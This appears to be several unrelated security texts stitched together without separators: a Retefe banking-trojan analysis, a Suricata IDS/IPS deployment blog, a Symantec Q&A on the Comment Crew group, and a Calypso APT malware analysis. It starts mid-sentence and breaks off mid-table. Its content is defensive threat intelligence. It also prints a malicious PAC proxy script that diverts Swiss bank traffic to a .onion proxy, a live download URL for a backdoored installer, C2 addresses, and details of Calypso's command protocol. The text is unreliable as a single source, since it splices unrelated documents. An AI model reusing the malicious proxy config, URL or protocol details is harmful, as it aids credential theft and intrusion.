`http://lettercreate.com/unipdf/convert-pdf-to-word-plus.exe` and uses a certificate issued by DigiCert. The CCN is “BULDOK LIMITED/[email protected]”. The Python script writes two files named `convert-pdf-to-word-plus.exe` and `convert-pdf-to-word-plus_driver.exe` to the `%TEMP%` directory and executes them. We currently believe that the `convert-pdf-to-word-plus.exe` file is a legitimate installer for the “Convert PDF to Word Plus” application and is executed as a decoy. `convert-pdf-to-word-plus_driver.exe`, on the other hand, is malicious and is Retefe’s loader. The loader extracts 7-Zip and stunnel from its resources then decrypts and executes the main Retefe JavaScript code. As shown, Retefe extracts stunnel via a compressed archive in place of the usual TOR Socat proxy. In addition to the use of the decoy abused shareware, this is the most significant observed change to Retefe’s behavior, along with the use of Smoke Loader. ## Smoke Loader Now Bootstraps Retefe On April 17, Proofpoint researchers observed a geographically targeted campaign against Switzerland using an email lure. This campaign used an Object Linking and Embedding (OLE) package to deliver Smoke Loader. Approximately two hours following infection, we observed Smoke Loader downloading Retefe with the following hash: `925ce9575622c59baacc70c0593a458a76731c5f195c6a7a790abc374402725e`. A copy of the Retefe dropper PowerShell script can be downloaded for further analysis. This script contains the content required for Retefe persistence, including the scheduled tasks for 7-Zip and the stunnel secure tunneling software. ## Secure Tunneling (stunnel) Replaces Tor It is not clear why Retefe’s authors have now deprecated Tor in favor of stunnel. However, we suspect that the use of a dedicated tunnel rather than Tor makes for a more secure connection because it eliminates the possibility of snooping on the hops between Tor nodes. Tor is also a “noisier” protocol and thus would be easier to detect in an enterprise environment than stunnel, which would appear as any other outbound SSL connection. ## Proxy Information From the Retefe Binary Below is a portion of the proxy configuration that lists the online banking sites whose users are targeted by this instance of Retefe. ```javascript function FindProxyForURL(url, host) { var proxy = "PROXY ltro3fxssy7xsqgz.onion:5588;"; var hosts = new Array('cs.directnet.com', '*akb.ch', '*ubs.com', '*bkb.ch', '*lukb.ch', '*zkb.ch', '*onba.ch', '*gkb.ch', '*bekb.ch', '*zugerkb.ch', '*bcge.ch', '*volksbank.li', '*bendura.li', '*lgt.com', '*retefe*.ch', '*mirabaud.lu'); for (var i = 0; i < hosts.length; i++) { if (shExpMatch(host, hosts[i])) { return proxy } } return } ``` ## Malware Masquerading as Adobe Installer Applications Unlike the Retefe campaigns targeting Microsoft Windows hosts until December 2018, campaigns targeting macOS have continued throughout the first several months of 2019. These campaigns continued to use developer-signed versions of fake Adobe Installers in order to deliver their payloads. Below is the signature used to sign the Retefe binary. By using signed binaries, actors attempt to bypass the macOS internal Gatekeeper security application, which checks if applications are signed by a valid developer certificate before running. ## Conclusion Retefe is unusual in its use of proxies to redirect victims to fake bank pages for credential theft instead of employing web injects for man-in-the-browser attacks like most banking Trojans. Developers appear to have updated key features of the Trojan and are employing new distribution mechanisms including fake apps and switching to Smoke Loader as its intermediate downloader after a fairly lengthy absence from the landscape. Retefe in particular is noted for changing its proxy configuration, having previously used Profixifier and in 2019 moving to stunnel. As with many types of malware, developers continue to innovate, identifying new, more effective ways to infect victims and steal personal information to better monetize their attacks. ## Indicators of Compromise (IOCs) | IOC | IOC Type | Description | |---------------------------------------------------------------------------------------------------|------------|--------------------------------------------------| | 3d9bd35cc82712e3ec02ccb561633c8ab130348ffae259a35edf927e9c770052 | SHA256 | Fake convert-pdf-to-word-plus.exe | | 4415cc989396ae301d103d11dd3aa7c90cbf9fb3a7aa49113a410efab8edebe3 | SHA256 | Legitimate convert-pdf-to-word-plus.exe | | dcb9ceeedfeb1b5a19f8898cd7c3be8f2afda9ad2ee3afaf12e65c0c07783c8b | SHA256 | Retefe Loader (convert-pdf-to-word-plus_driver.exe) | | 6750c9224540d7606d3c82c7641f49147c1b3fd0 | Certificate| DigiCert Certificate | | e5d05fe5b3ff65fc4c7021908164b9e73b24f95f63c594602680400a48e32845 | SHA256 | macOS dmg files | | 1a4aa8a7cd6e21e3af77c9035905ac9109d95d11752b095d0fc48e63859cdf49 | SHA256 | masquerading as Adobe installer. | | 925ce9575622c59baacc70c0593a458a76731c5f195c6a7a790abc374402725e | SHA256 | Smoke Loader downloaded Retefe | | hxxp://lettercreate.com/unipdf/convert-pdf-to-word-plus.exe | URL | Backdoored application |
# Building an Open Source IDS IPS Service for Gateway Load Balancer The Gateway Load Balancer (GWLB) service launched with support from the partner network. These partners provide networking appliances that enable customers to perform varying levels of packet inspection on flows that pass through them, taking action as necessary and as defined within their configuration. For a list of partners that support GWLB, refer to the following page. While for some customers, using a partner-supplied instance is a preferred choice (perhaps due to existing licensing, expertise, or a specific capability), there is a segment of customers that wishes to benefit from all the capabilities that GWLB as a framework provides but does not have any of the aforementioned considerations. For these customers, embracing open-source capabilities can make sense. This blog provides the steps to create an open-source IDS/IPS service running in Docker containers, using Amazon Elastic Container Service (ECS) and Amazon Linux 2 (AL2). This service provides stateless packet inspection and logging while leveraging the simplicity, elasticity, and scalability that GWLB enables. Meerkats (Suricata suricatta) are wonderful creatures. Amongst their accolades, you’ll discover that as well as being robust, tenacious, and sporting high levels of intelligence, they are highly observant (care of their binocular vision), have developed advanced levels of vocalization that they use to signal alarm, and can physically dig their body weight in earth within seconds! Perhaps no surprise then that the Meerkat is the namesake from which the popular open-source IDS/IPS service ‘Suricata’ takes its name. In a recent joint blog post, the Open Information Security Foundation (OISF) and AWS discussed the importance of open-source security and how we have worked together to bring compatible Suricata rulesets to AWS Network Firewall. If you look at the source code for Suricata, you’ll find that additional functions have been added to support the GENEVE protocol. The addition of these functions in the Suricata code enables us to scale Suricata instances behind GWLB. ## Deployment Overview There are two key steps to the deployment: 1. The first step sets up a baseline Appliance VPC, Internet Gateway, NAT Gateways, S3 Buckets, and SSM Parameters using a single CloudFormation template. This template will also set up a Code Pipeline which is made up of a code repository, build, and deployment steps. 2. The second step deploys the inspection solution – you will release the pipeline that was built during the first step in order to do this. AWS Code Pipeline will deploy another CloudFormation template that builds and deploys a Suricata-based packet inspection solution using GWLB and ECS. The pipeline creation and modification workflow is illustrated below. For more detailed instructions and descriptions of the parameters, you can reference the public readme. You can choose to integrate this solution as appropriate for your requirements. Since the GWLB service uses PrivateLink endpoints for connectivity, it means that you can choose to deploy this solution in a centralized, decentralized pattern, or a combination of both. ## Solution Walkthrough We wanted to take a moment to discuss the mechanics of the overall solution from the perspective of GWLB and how packets are inspected by the Suricata-based instances. We need to create a container image based on AL2 that holds the compiled Suricata code and rules along with any other parameters that are specific to the configuration. When the pipeline is triggered, CodeBuild pulls this public AL2 image, builds the Suricata and RulesFetcher containers, and then stores them within a private ECR repository which is used by the ECS hosts. At the host level, the ECS worker nodes need to be configured to facilitate packet forwarding from GWLB to the Suricata container; for this, there are a few elements that warrant further discussion. ### Packet Path, Hooks, and User Space Applications In the Linux kernel, there are several hooks that allow actions on packets as they pass along the packet path; these are the netfilter hooks. Iptables provides a convenient interface into the netfilter framework and allows administrators to set rules for packets as they traverse these hooks. All packets that flow into, through, and out of Linux traverse these hooks. The packet path inside Linux as it relates to the netfilter hooks is illustrated below. Iptables can be used to create rules for packet handling in any one of these chains and in any number of the tables that are processed. The specific chains that are traversed depend on the nature of the packet in the packet path. Since we are building Linux instances solely for the purpose of transparent packet inspection, then the traversal order of the chains will be as follows: - PREROUTING - FORWARD - POSTROUTING GWLB uses GENEVE encapsulation and specific Type Length Values (TLV) in the GENEVE header to identify flows and maintain symmetry; it’s important that we maintain these as the packets pass through the packet path. We also need to perform some source and destination Network Address Translation (NAT) actions on the packets so that they are returned back to the GWLB node that originally sent them to the inspection instance. From a firewalling or filtering perspective, unless the packet is decapsulated or decoded, Iptables rules cannot take action on the passenger payload. However, since we know that Suricata understands the GENEVE protocol, we are able to route encapsulated packets to the Suricata engine and let it decode, inspect, and take action on the passenger payload. Suricata is a user space application, and so to invoke it in IPS mode (so that it sits in the packet path), we can use NFQUEUE. Essentially this tells Iptables to push packets that traverse the Forward chain to a queue number that Suricata is listening on. In summary of the above, the flow works like this: 1. Encapsulated packet arrives at the inspection instance from a GWLB node. 2. Destination NAT is handled first by the NAT table in the PreRouting chain. This rewrites the destination of the packet to the GWLB node that delivered the packet. 3. NFQUEUE is invoked next by the queue statement in the FILTER table within the Forward chain. 4. The Suricata instance will receive the encapsulated payload and take actions based on the rules that have been created. Suricata is able to decode and read the passenger payload (Suricata puts the packet back in the packet path). 5. Source NAT is handled next by the NAT table in the PostRouting chain. This rewrites the source of the packet to the back-end instance that performed the packet filtration. 6. The GENEVE encapsulated packet is then put back on the wire. No modifications are made to the original packet, but its contents are inspected. The packet path modification for inline packet filtering is illustrated below. ### Rule Creation and Monitoring #### Container Static Rules Static rules are built into the container image as part of the image build process by AWS Code Pipeline. You should use static rules when you want to keep your rules versioned together with the Suricata config and Suricata version or for rules that shall always be enforced and should not be removed. Rules in the static.rules file are NOT applied or updated on-the-fly. You need to rebuild and redeploy the Suricata container with the updated rules. **Rule Example 1 – Logging outbound DNS queries** With our solution deployed, let’s make a change to the static.rules file. I’d like to know about any DNS requests that are going beyond my VPC boundaries (external DNS requests). These rules are baked into the container image. I can make this change directly in the Code Commit console or I could subsequently clone the Code Commit repo and make the change in there and then commit the changes. ``` alert ip [%cidr%] any -> ! [%cidr%] 53 (msg:"external dns traffic logged";sid:10000;rev:1;) ``` **NOTE:** Modifications to the container code will begin an ECS container replacement operation. During this time, clients may lose connectivity and will need to re-establish any connections. Modifications to dynamic rules are performed without interruption. After a short while, the pipeline should have deployed successfully – with your alerting rules baked in. We shall look at the logs that are generated a little later. #### Local Dynamic Rules The Dynamic Rules should be used when you want to deploy and apply rules on-the-fly and don’t want, or need to keep your rules versioned together with the Suricata config and Suricata version. These rules are applied and updated without the need to rebuild or redeploy the Suricata container. Dynamic rules are handled slightly differently from static rules. While to Suricata they are just another rule file that is specified within its configuration file – this solution uses the RulesFetcher container to pull the dynamic rules from S3 and then run the Suricata-update daemon to load them into the engine. Dynamic rules are not tracked with the container image. Modification of dynamic rules follows a similar process to static rules. Simply modify the dynamic.rules file in the Code Commit repo and commit the changes. We have specified three rule entries here: **Rule Example 2** – This rule drops all ICMP traffic between two VPCs that are connected by a Transit Gateway (TGW). ``` drop icmp [%cidr%] any <> [%cidr%] any (msg:"icmp traffic blocked";sid:10001;rev:1;) ``` **Rule Example 3** – This rule drops all external connections to an Application Load Balancer, where the source IP address is identified as originating from within Great Britain (GB). ``` drop ip ![%cidr%] any -> [%cidr%] 80 (msg:"geo-ip rule GB";geoip:src,GB;sid:10002;rev:1;) ``` **Rule Example 4** – This rule blocks access to a website based on the TLS information inside the certificate handshake. ``` drop tls [%cidr%] any -> any any (msg:"block access to social media websites";tls.sni;content:"facebook.com";nocase;pcre:"/facebook.com$/";sid:10003;rev:1;) ``` *GeoIP functionality requires that prior to deployment, you must register with MaxMind and provide an API key during initial pipeline setup (Step 2). For more details on the parameter file that you need to modify, check the public readme documentation. #### External Dynamic Rules This solution provides the ability to load third-party rulesets into the configuration. For example, the rulesets provided in The Open Information Security Foundation rulesets list such as the popular et/open ruleset. These rulesets are managed by external parties and can be loaded automatically into the configuration. To reference an external ruleset, simply modify the CloudFormation stack template. The rules will be dynamically loaded. ### Logging and Validating the Solution You’ll remember that we specified a static rule and three dynamic rules. Let’s generate some traffic, monitor the behavior, and trace the log entries. **Rule Example 1 – Logging outbound DNS queries** Let’s perform a DNS query against an external DNS resolver from one of our internal clients. Let’s have a look at the Fast.log (this is where the alert will be generated) and also find the Flow statement in the Eve.log. If we search by the signature ID, we see entries in the Fast.Log file. Here is the Flow entry; notice the detail that it provides. You can see the tunneling that is happening from GWLB. **ICMP, GeoIP, and TLS** In our dynamic rule file, we created rules to block ICMP packets, restrict access to a public Application Load Balancer (if the originating IP address was identified as being located somewhere in Great Britain), and prevent access to social media websites. The Signature IDs for those rules were “10001”, “10002”, and “10003”, respectively. Let’s go and find the flow entries for those. We can use JSON-based matching to accomplish this in CloudWatch Logs. A query such as this one should bring back the matching entries: ``` { $.alert.signature_id = %signatureid% } ``` **Rule Example 2** Here’s the event that was generated when a client attempted to ping another – via a TGW connection. We can see that it was blocked – as expected. **Rule Example 3** Here is another event that was generated when an entity within Great Britain attempted to connect to an ALB that is being protected by a GeoIP filtering rule. To test this yourself, simply spin up an EC2 instance in the blocked region and attempt a connection to the public-facing IP address of the load balancer. **Rule Example 4** We also blocked access to social media sites. Let’s search for the signature id to discover any activity for this rule. We can see the traffic was blocked, the signature description, and some detail regarding the fingerprinting of the TLS communications. To test this yourself, a simple curl command can be used to generate some traffic. This will grab the headers only and report with enhanced detail. You should see that the TLS handshake is broken when you do this. ``` curl https://facebook.com -i -v ``` These rules are just examples so you can adjust the configuration to suit your deployment. Since you’ve built your own Suricata containers, there is more that you can do. This solution was compiled with the LUA scripting module. With this capability, you can write more complex rules that provide advanced matching against malware. Additionally, you could use the packet capture capability so that you can debug the traffic that is flowing through your inspection instances. See the public readme for more details on this and how to enable it. ### Clean-up Clean-up is straightforward; you can delete the CloudFormation stack that was created by the pipeline, and then delete the stack that defined the pipeline itself. You’ll be left with a couple of S3 buckets and ECR repositories that you can either choose to keep or delete manually. ## Conclusion So, there you have it. You built a GitOps driven IDS/IPS service using open-source code, on top of Gateway Load Balancer. You created rules that log particular types of traffic (DNS) as a baseline, added protections for your network traffic in blocking known protocols (ICMP), and restricted access to an Application Load Balancer based on Geographic location metadata. Finally, you prevented access to a social media website using data that is negotiated as part of a TLS handshake.
# Endpoint Protection Today Mandiant released a detailed report dubbed "APT1" which focuses on a prolific cyber espionage campaign by the Comment Crew going back to at least 2006 and targeting a broad range of industries. The report cites the earliest known public reference about APT1 infrastructure as originating from Symantec. We have detected this threat as Backdoor.Wualess since 2006 and have been actively tracking the group behind these attacks. The following Q&A briefly outlines some of the relevant Symantec information around this group: **Q: Do Symantec and Norton products protect against threats used by this group?** Yes. Symantec confirms protection for attacks associated with the Comment Crew through our antivirus and IPS signatures, as well as STAR malware protection technologies such as our reputation and behavior-based technologies. Symantec.cloud and Symantec Mail Security for Microsoft Exchange also detect the targeted emails used by this group. **Q: Has Symantec been aware of the activities of the Comment Crew?** Yes. Symantec has been actively tracking the work of the Comment Crew for a period of time to ensure that the best possible protection is in place for the different threats used by this group. **Q: Why are they called the Comment Crew?** They were dubbed the Comment Crew due to their use of HTML comments to hide communication to the command-and-control servers. **Q: How does a victim get infected?** The initial compromise occurs through a spear phishing email sent to the target. The email contains an attachment using a theme relevant to the target. Some recent examples used by this group and blocked by Symantec technologies are: - U.S. Stocks Reverse Loss as Consumer Staples, Energy Gain.zip - Instruction_of_KC-135_share_space.doc - New contact sheet of the AN-UYQ-100 contractors.pdf - U.S. Department of Commerce Preliminarily Determines Chinese and Vietnamese Illegally Dumped Wind Towers in the United States.doc - ArmyPlansConferenceOnNewGCVSolicitation.pdf - Chinese Oil Executive Learning From Experience.doc - My Eight-year In Bank Of America.pdf Similar to what Symantec indicated in a recent blog, if the malicious attachment is opened, it attempts to use an exploit against the target victim's system. It drops the malicious payload as well as a clean document to keep the ruse going. **Q: Does Symantec know who this group is targeting?** Yes. Symantec telemetry has identified many different industries being targeted by this group including Finance, Information Technology, Aerospace, Energy, Telecommunications, Manufacturing, Transportation, Media, and Public Services. **Q: Currently, what are the most prevalent threats being used by this group?** Symantec, in the last year, has identified the most prevalent threats being used by this group as Trojan.Ecltys, Backdoor.Barkiofork, and Trojan.Downbot. **Q: Has Symantec released any publications around these attacks?** Yes. We have recently released publications to address techniques and targets of Trojan.Ecltys and Backdoor.Barkiofork, both of which are threats used by this group. We have also investigated associated attacks of this group: The Truth Behind the Shady RAT. **Q: What are the Symantec detection family names for threats used by this group?** Symantec also detects numerous other files used by this group under various detection names. **Q: Does Symantec have IPS protection for these threat families?** Yes. There are several IPS signatures to catch threat families associated with this group. **Q: How will this report affect the Comment Crew operations?** Despite the exposure of the Comment Crew, Symantec believes they will continue their activities. We will continue to monitor activities and provide protection against these attacks. We advise customers to use the latest Symantec technologies and incorporate layered defenses to best protect against attacks by groups like the Comment Crew.
# Calypso APT The PT Expert Security Center first took note of Calypso in March 2019 during threat hunting. Our specialists collected multiple samples of malware used by the group. They have also identified the organizations hit by the attackers, as well as the attackers' C2 servers. Our data indicates that the group has been active since at least September 2016. The primary goal of the group is theft of confidential data. Main targets are governmental institutions in Brazil, India, Kazakhstan, Russia, Thailand, and Turkey. Our data gives reason to believe that the APT group is of Asian origin. ## Initial infection vector The attackers accessed the internal network of a compromised organization by using an ASPX web shell. They uploaded the web shell by exploiting a vulnerability or, alternately, guessing default credentials for remote access. We managed to obtain live traffic between the attackers and the web shell. The traffic indicates the attackers connected from IP address 46.166.129.241. That host contains domain tv.teldcomtv.com, the C2 server for the group's trojan. Therefore, the hackers use C2 servers not only to control malware but also to access hosts on compromised infrastructures. The attackers used the web shell to upload utilities and malware, execute commands, and distribute malware inside the network. Examples of commands from the traffic are demonstrated in the following screenshot. ## Lateral movement The group performed lateral movement by using the following publicly available utilities and exploits: - SysInternals - WmiExec - Nbtscan - EarthWorm - Mimikatz - OS_Check_445 - ZXPortMap - DoublePulsar - TCP Port Scanner - EternalBlue - Netcat - EternalRomance - QuarksPwDump On compromised computers, the group stored malware and utilities in either C:\RECYCLER or C:\ProgramData. The first option was used only on computers with Windows XP or Windows Server 2003 with NTFS on drive C. The attackers spread within the network either by exploiting vulnerability MS17-010 or by using stolen credentials. In one instance, 13 days after the attackers got inside the network, they used DC Sync and Mimikatz to obtain the Kerberos ticket of the domain administrator, "passing the ticket" to infect more computers. Use of such utilities is common for many APT groups. Most of those utilities are legitimate ones used by network administrators. This allows the attackers to stay undetected longer. ## Attribution In one attack, the group used Calypso RAT, PlugX, and the Byeby trojan. Calypso RAT is malware unique to the group and will be analyzed in detail in the text that follows. PlugX has traditionally been used by many APT groups of Asian origin. Use of PlugX in itself does not point to any particular group, but is overall consistent with an Asian origin. The Byeby trojan was used in the SongXY malware campaign back in 2017. The version used now is modified from the original. The group involved in the original campaign is also of Asian origin. It performed targeted attacks on defense and government-related targets in Russia and the CIS countries. However, we did not find any clear-cut connection between the two campaigns. When we analyzed the traffic between the attackers' server and the web shell, we found that the attackers used a non-anonymous proxy server. The X-Forwarded-For header passed the attackers' IP address (36.44.74.47). This address would seem to be genuine (more precisely, the first address in a chain of proxy servers). The IP address belongs to China Telecom. We believe the attackers could have been careless and set up the proxy server incorrectly, thus disclosing their real IP address. This is the first piece of evidence supporting the Asian origins of the group. The attackers also left behind a number of system artifacts, plus traces in utility configurations and auxiliary scripts. These are also indicative of the group's origin. For instance, one of the DoublePulsar configuration files contained external IP address 103.224.82.47, presumably for testing. But all other configuration files contained internal addresses. This IP address belongs to a Chinese provider, like the one before, and it was most likely left there due to the attackers' carelessness. This constitutes additional evidence of the group's Asian origins. We also found BAT scripts that launched ZXPortMap and EarthWorm for port forwarding. Inside we found network indicators www.sultris.com and 46.105.227.110. The domain in question was used for more than just tunneling: it also served as C2 server for the PlugX malware we found on the compromised system. As already mentioned, PlugX is traditionally used by groups of Asian origin, which constitutes yet more evidence. Therefore we can say that the malware and network infrastructure used all point to the group having an Asian origin. ## Analyzing Calypso RAT malicious code The structure of the malware and the process of installing it on the hosts of a compromised network look as follows: ### Dropper The dropper extracts the payload as an installation BAT script and CAB archive, and saves it to disk. The payload inside the dropper has a magic header that the dropper searches for. The dropper encrypts and decrypts data with a self-developed algorithm that uses CRC32 as a pseudorandom number generator (PRNG). The algorithm performs arithmetic (addition and subtraction) between the generated data and the data that needs to be encrypted or decrypted. Now decrypted, the payload is saved to disk at %ALLUSERSPROFILE;\TMP_%d%d, where the last two numbers are replaced by random numbers returned by the rand() function. Depending on the configuration, the CAB archive contains one of three possibilities: a DLL and encrypted shellcode, a DLL with encoded loader in the resources, or an EXE file. We were unable to detect any instances of the last variant. ### Installation BAT script The BAT script is encoded by substitution from a preset dictionary of characters; this dictionary is initialized in a variable in the installation script. In the decoded script, we can see comments hinting at the main functions of the script: - REM Goto temp directory & extract file (go to TEMP directory and extract files there) - REM Uninstall old version (uninstall the old version) - REM Copy file (copy file) - REM Run pre-install script (run the installation BAT script) - REM Create service (create a service launching the malware at system startup) - REM Create Registry Run (create value in the registry branch for autostart) At the beginning of each script, we can see a set of variables. The script uses these variables to save files, modify services, and modify registry keys. In one of the oldest samples, compiled in 2016, we found a script containing comments for how to configure each variable. ### Shellcode x86: stager In most of the analyzed samples, the dropper was configured to execute shellcode. The dropper saved the DLL and encrypted shellcode to disk. The shellcode name was always identical to that of the DLL, but had the extension .dll.crt. The shellcode is encrypted with the same algorithm as the payload in the dropper. The shellcode acts as a stager providing the interface for communicating with C2 and for downloading modules. It can communicate with C2 via TCP and SSL. SSL is implemented via the mbed_tls library. Initial analysis of the shellcode revealed that, in addition to dynamically searching for API functions, it runs one more operation that repeats the process of PE file address relocation. The structure of the relocation table is also identical to that found in the PE file. Since the process of shellcode address relocation repeats that of the PE file, we can assume that initially the malware is compiled into a PE file, and then the builder turns it into shellcode. Debugging information found inside the shellcode supports that assumption. API functions are searched for dynamically and addresses are relocated, after which the configuration hard-coded inside the shellcode is parsed. The configuration contains information about the C2 server address, protocol used, and connection type. Next, the shellcode creates a connection to C2. A random packet header is created and sent to C2. In response, the malware receives a network key, saves it, and then uses it every time when communicating with C2. Then the information about the infected computer is collected and sent to C2. Next three threads are launched. One is a heartbeat sending an empty packet to C2 every 54 seconds. The other processes and executes commands from C2. As for the third thread, we could not figure out its purpose, because the lines implementing its functionality were removed from the code. All we can tell is that this thread was supposed to "wake up" every 54 seconds, just like the first one. ## Modules We have not found any modules so far. But we can understand their functionality by analyzing the code responsible for communication between the shellcode and the modules. Each module is shellcode which is given control over the zero offset of the address. Each module exists in its own separate container. The container is a process with loaded module inside. By default, the process is svchost.exe. When a container is created, it is injected with a small shellcode that causes endless sleep. This is also hard-coded in the main shellcode, and more specifically in JustWait.pdb, most likely. The module is placed inside with an ordinary writeprocess and is launched either with NtCreateThreadEx or, on pre-Vista operating systems, CreateRemoteThread. Two pipes are created for each module. One is for transmitting the data from the module to C2; the other for receiving data from C2. Quite likely the modules do not have their own network code and instead use the pipes to communicate with external C2 through the main shellcode. Each module has a unique ID assigned by C2. Containers are launched in different ways. A container can be launched in a specific session open in the OS or in the same session as the stager. In any particular session, the container is launched by getting the handle for the session token of a logged-in user, and then launching the process as that user. ## Commands The malware we studied can process 12 commands. All of them involve modules in one way or another. Here is a list of all IDs of commands found in the malware, along with those that the malware itself sends in various situations. | ID | Direction | Type | Description | |--------|-----------|--------|-------------| | 0x401 | From C2 | Command| Create module descriptor. This command contains information on the module size and ID. It also allocates memory for the module data. The command is likely the first in the chain of commands used for loading a module. | | 0x402 | From C2 | Command| Accept module data, and if all data is accepted, launch the module inside a container running in the same session as the stager. | | 0x403 | From C2 | Command| Same as 0x402, but the module is launched in a container running in a different session. | | 0x404 | From C2 | Command| Write data to pipe for module launched inside a container running in the same session as the stager. | | 0x405 | From C2 | Command| Write data to pipe for module launched inside a container in a different session. | | 0x409 | From C2 | Command| Generate a constant by calling GetTickCount() and save it. This constant is used in the third thread, mentioned already, whose purpose we were unable to discern. | | 0x201 | From C2 | Command| Launch the module if the buffer size stored in the module descriptor equals the module size. Does not accept data (unlike commands 0x402 and 0x403). The module is launched inside a container running in the same session as the stager. | | 0x202 | From C2 | Command| Same as 0x201, but the module is launched in a container running in a different session. | | 0x203 | From C2 | Command| Close all pipes related to a specific module running inside a container launched in the same session as the stager. | | 0x204 | From C2 | Command| Same as 0x203, but for a module running in a container launched in a different session. | | 0x206 | From C2 | Command| Collect information on sessions open in the system (such as session IDs and computer names) and send it to C2. | | 0x207 | From C2 | Command| Assign session ID. This ID will be used to launch containers in this session. | | 0x409 | From the malware | Response | ID used in empty heartbeat packets (the first thread described earlier). | | 0x103 | From the malware | Response | ID of packet containing information on the infected computer. | | 0x302 | From the malware | Response | ID of packet sent after an accepted session ID is saved (command 0x207). | | 0x304 | From the malware | Response | ID of packet sent after module is successfully placed inside a container. This code is sent after the module is launched in a different session. | | 0x303 | From the malware | Response | Same as 0x304, but the module is launched in the same session as the stager. | | 0x406 | From the malware | Response | ID of packet containing data piped by module in a container launched in the same session as the stager. | | 0x407 | From the malware | Response | Similar to 0x406, but from a module launched in a different session. | | 0x308 | From the malware | Response | ID of packet sent if no handle of a logged-in user's session token could be obtained. | | 0x408 | From the malware | Response | ID of packet sent if session-related information could not be obtained. Before the packet is sent, the shellcode checks the OS version. If the version is earlier than Vista, data is regarded as impossible to obtain in the manner implemented in the malware, because the Windows API functions it uses are present only in Vista and later. | ## Network code Network communication is initialized after the network key is received from C2. To do that, the malware sends a random sequence of 12 bytes to C2. In response, the malware also expects 12 bytes, the zero offset of which must contain the same value (DWORD) as prior to sending. If the check is successful, four bytes at offset 8 are taken from the response and decrypted with RC4. The key is four bytes sent previously, also located at offset 8. This result is the network key. The key is saved and then used to send data. All transmitted packets have the following structure. ```c struct Packet { struct PacketHeader { DWORD key; WORD cmdId; WORD szPacketPayload; DWORD moduleId; }; BYTE [max 0xF000] packetPayload; }; ``` A random four-byte key is generated for each packet. It is later used to encrypt part of the header, starting with the cmdId field. The same key is used to encrypt the packet payload. Encryption uses the RC4 algorithm. The key itself is encrypted by XOR with the network key and saved to the corresponding field of the packet header. ### Shellcode x64: stager (base backdoor) This shellcode is very similar to the previous one, but it deserves a separate description because of differences in its network code and method of launching modules. This shellcode has basic functions for file system interaction which are not available in the shellcode described earlier. Also, the configuration format, network code, and network addresses used as C2 by this shellcode are similar to code from a 2018 blog post by NCC Group about a Gh0st RAT variant. However, we did not find a connection to Gh0st RAT. This variant of the shellcode has only one communication channel, via SSL. The shellcode implements it with two legitimate libraries, libeay32.dll and ssleay32.dll, hard-coded in the shellcode itself. First, the shellcode performs a dynamic search for API functions and loads SSL libraries. The libraries are not saved to disk; they are read from the shellcode and mapped into memory. Next, the malware searches the mapped image for the functions it needs to operate. Then it parses the configuration string, which is also hard-coded in the shellcode. The configuration includes information on addresses of C2 servers and schedule for malware operation. After that, the malware starts its main operating cycle. It checks if the current time matches the malware operational time. If not, the malware sleeps for about 7 minutes and checks again. This happens until the current time is the operational time, and only then does the malware resume operation. When the operational time comes, the malware goes down the list of C2 servers specified in the configuration and tries to connect. The malware subsequently interacts with whichever of the C2 servers it is able to successfully connect to first. Then the malware sends the information on the infected computer (such as computer name, current date, OS version, 32-bit vs. 64-bit OS and CPU, and IP addresses on network interfaces and their MAC addresses). After the information on the infected computer is sent, the malware expects a response from C2. If C2 returns the relevant code, sending is deemed successful and the malware proceeds. If not, the malware goes back to sequentially checking C2 addresses. Next, it starts processing incoming commands from C2. ## Modules Each module is a valid MZPE file mapped in the address space of the same process as the shellcode. Also, the module can export the GetClassObject symbol, which receives control when run (if required). Each module has its own descriptor created by a command from C2. The C2 server sends a byte array (0x15) describing the module. The array contains information on the module: whether the module needs to be launched via export, module type (in other words, whether it needs pipes for communicating with C2), module size, entry point RVA (used if there is no flag for launching via export), and module data decryption key. The key is, by and large, the data used to format the actual key. We should also point out that decryption takes place only if modKey is not equal to the 7AC9h constant hard-coded in the shellcode. This check affects only the decryption process. If modKey does equal the constant, the malware will immediately start loading the module. This means the module is not encrypted. Each module is launched in a separate thread created specially for that purpose. Launching with pipes looks as follows: - The malware creates a thread for the module, starts mapping the module, and gives it control inside the newly created thread. - The malware creates a new connection to the current working C2. - The malware creates a pipe with the name derived from the following format string: \\.\pipe\windows@#%02X (where %02X is replaced by a value that is received from C2 at the same time as the command for launching the module). - The malware launches two threads passing data from the pipe to C2 and vice versa, using the connection created during the previous step. Two more pipes, \\.\pipe\windows@#%02Xfir and \\.\pipe\windows@#%02Xsec, are created inside the threads. The pipe ending in "fir" is used to pass data from the module to C2. The pipe ending in "sec" is used to pass data and commands from C2 to the modules. The second thread processing the commands from C2 to the modules has its own handler. This is described in more detail in the Commands section. For now, we can only say that one of the commands can start a local asynchronous TCP server. That server will accept data from whoever connects to it, send it to C2, and forward it back from C2. It binds to 127.0.0.1 at whichever port it finds available, starting from 5000 and trying possible ports one by one. ## Commands The following is a list of IDs for commands the malware can receive, along with commands the malware itself sends in various situations. | ID | Direction | Type | Description | |--------|-----------|--------|-------------| | 0x294C | From C2 | Command| Create module descriptor. | | 0x2AC8 | From C2 | Command| Receive data containing the module, and save it. | | 0x230E | From C2 | Command| Launch module without creating additional pipes. | | 0x2D06 | From C2 | Command| Destroy module descriptor object. | | 0x590A | From C2 | Command| Launch built-in module for file system access. | | 0x3099 | From C2 | Command| Launch module and create additional pipes for communication. | | 0x1C1C | From C2 | Command| Self-removal: run a BAT script removing persistence and clearing the created directories. | | 0x55C3 | From C2 | Command| Upload file from computer to C2. | | 0x55C5 | From C2 | Command| List directories recursively. | | 0x55C7 | From C2 | Command| Download file from C2 to computer. | | 0x3167 | From C2 | Command| Write data to pipe ending in "Mon". | | 0x38AF | From C2 | Command| Write command 0x38AF to pipe ending in "Mon". After that, end the open connection for the module. Possibly means "complete module operation". | | 0x3716 | From C2 | Command| Send module data to a different module. | | 0x3A0B | From C2 | Command| Same as 0x3099. | | 0x3CD0 | From C2 | Command| Start an asynchronous TCP server to shuttle data between C2 and connected client. | | 0x129E | From the malware | Response | ID of a packet containing information about the computer. | | 0x132A | From C2 | Response | ID of the packet sent by C2 in response to information sent regarding the infected computer. The malware treats receipt of this packet as confirming successful receipt of such information. | | 0x155B | From the malware | Response | ID of the packet containing information regarding the initialized module descriptors. The packet acts as "GetCommand". Response to this packet contains one of the supported commands. | | 0x2873 | From the malware | Response | ID of the packet that is sent if a module descriptor has been initialized successfully (0x294C). | | 0x2D06 | From the malware | Response | ID of the packet that is sent if an error has occurred during module descriptor initialization (0x294C). | | 0x2873 | From the malware | Response | ID of the packet that is sent after module data has been received (0x2AC8). Contains the amount of bytes already saved. | | 0x2743 | From the malware | Response | ID 